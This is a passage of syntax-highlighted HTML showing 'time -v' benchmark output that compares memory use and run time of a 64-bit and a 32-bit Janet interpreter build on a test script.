       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; resident set size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Major&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (requiring I/O&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;page&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; faults: 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Minor&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (reclaiming a frame&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;page&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; faults: 33513&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Voluntary&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; context switches: 1&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Involuntary&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; context switches: 9&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;2000000&lt;/span&gt;&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Command&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; being timed: &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;./janet32/bin/janet mem.janet&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;User&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0.47&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;System&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0.03&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Percent&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; of CPU this job got: 99&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-job syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-job syntax-shell&quot;&gt;%&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Elapsed&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (wall clock&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;time&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (h:mm:ss or m:ss&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0:00.50&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; shared text size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; unshared data size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; stack size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; total size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Maximum&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; resident set size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 113716&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; resident set size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Major&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (requiring I/O&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;page&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; faults: 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Minor&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (reclaiming a frame&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;page&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; faults: 25686&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Voluntary&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; context switches: 1&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Involuntary&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; context switches: 21&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I added a 0 in the test&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-command syntax-shell&quot;&gt;command&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time &lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt;-&lt;/span&gt;v&lt;/span&gt; ./bin/janet mem.janet&lt;/span&gt;
                  &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-command syntax-shell&quot;&gt;command&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time &lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt;-&lt;/span&gt;v&lt;/span&gt; ./janet32/bin/janet mem.janet&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;20000000&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Command&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; being timed: &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;./bin/janet mem.janet&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;User&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 2.83&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;System&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0.46&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Percent&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; of CPU this job got: 99&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-job syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-job syntax-shell&quot;&gt;%&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Elapsed&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (wall clock&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;time&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (h:mm:ss or m:ss&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0:03.31&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; shared text size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; unshared data size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; stack size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; total size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Maximum&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; resident set size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 1410668&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; resident set size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Major&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (requiring I/O&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;page&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; faults: 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Minor&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (reclaiming a frame&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;page&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; faults: 316820&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Voluntary&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; context switches: 1&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Involuntary&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; context switches: 164&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Exit&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; status: 0&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;20000000&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Command&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; being timed: &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;./janet32/bin/janet mem.janet&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
